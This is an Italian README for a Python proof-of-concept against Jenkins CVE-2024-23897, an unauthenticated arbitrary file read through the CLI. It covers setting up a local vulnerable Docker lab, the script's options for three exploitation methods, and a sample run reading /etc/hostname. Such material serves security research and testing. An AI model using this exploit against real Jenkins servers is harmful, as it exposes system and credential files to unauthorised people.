
PoC Python per Jenkins CVE-2024-23897 lettura arbitraria di file tramite CLI, che espone la divulgazione di file non autenticata con molteplici metodi di sfruttamento.
Una proof-of-concept (PoC) per CVE-2024-23897, una vulnerabilità di lettura arbitraria di file nell'interfaccia a riga di comando (CLI) integrata di Jenkins. Consente ad attaccanti non autenticati con autorizzazione Overall/Read di leggere file arbitrari sul file system del controller Jenkins.
Versioni Affette
Avvia un'istanza locale vulnerabile usando docker compose:
cd docker
docker compose up -d
L'istanza sarà disponibile su http://localhost:1234
❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]
Jenkins CVE-2024-23897 file-read PoC
options:
-h, --help show this help message and exit
--url URL URL for Jenkins instance (default: http://localhost:1234)
--file FILE File to read (default: /etc/hostname)
--method {1,2,3} The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)
Esempio
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
Lo script potrebbe avere problemi nella lettura di file più grandi a causa di concorrenza e timeout di connessione. Per ulteriori dettagli tecnici e una guida sulla vulnerabilità, dai un'occhiata al mio post sul blog sull'argomento.